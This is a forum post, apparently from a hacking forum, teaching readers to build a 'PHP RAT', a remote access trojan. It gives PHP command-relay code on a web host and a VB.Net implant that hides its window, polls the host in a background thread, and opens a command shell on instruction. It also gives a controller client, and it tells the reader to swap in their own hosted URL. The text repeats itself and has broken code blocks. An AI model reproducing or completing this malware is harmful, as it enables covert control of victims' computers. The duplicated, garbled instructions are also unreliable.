Make a PHP RAT 03-28-2012, 10:01 AM
#1
1. Open notepad and paste this in.
Then save it as index.php.
VB.Net Server Writing
1.Change quapacity of server form to 0%
2.Add this in Form_Load
3. Now add this
4. Add this also in Form_Load:
5. Now add this in function "check" :
'This will download data from server
'Make sure you add Imports System.Net
VB.Net Client Writing
1.Add this :
'This will set data to server
'Make sure you add Imports System.Net
[/code]Dim web As New WebClient[/code]
2.Now add button and this in it :
There you have it, you made a PHP RAT!
Please note: Remember to change the website URL in your code to your website. You can use a free host
Code:
<?php
$action = $_GET['action'];
$data = $_GET['data'];
//This will delete log when program reads command
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", 'a');
fclose($new);
}Then save it as index.php.
VB.Net Server Writing
1.Change quapacity of server form to 0%
2.Add this in Form_Load
Code:
'This will hide form
Me.Hide
Me.Visible = FalseCode:
'This function will check commands
Public Function check()
check()
End Function4. Add this also in Form_Load:
Code:
'This will "Thread" function "check"
Dim multithread = New System.Threading.Thread(AddressOf check)
multithread.Start()5. Now add this in function "check" :
'This will download data from server
'Make sure you add Imports System.Net
Code:
Dim web As New WebClient
Dim data = web.DownloadString("http://127.0.0.1/rat/index.php?action=read")
If data.ToString = "cmd" Then
Shell("cmd", AppWinStyle.NormalFocus)
'This will delete log
web.DownloadString("http://127.0.0.1/rat/index.php?action=delete")
End IfVB.Net Client Writing
1.Add this :
'This will set data to server
'Make sure you add Imports System.Net
[/code]Dim web As New WebClient[/code]
2.Now add button and this in it :
Code:
web.DownloadString("http://127.0.0.1/rat/index.php?action=write&data=cmd")There you have it, you made a PHP RAT!
Please note: Remember to change the website URL in your code to your website. You can use a free host
![[Image: tiger410.gif]](http://i73.servimg.com/u/f73/12/53/66/00/tiger410.gif)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)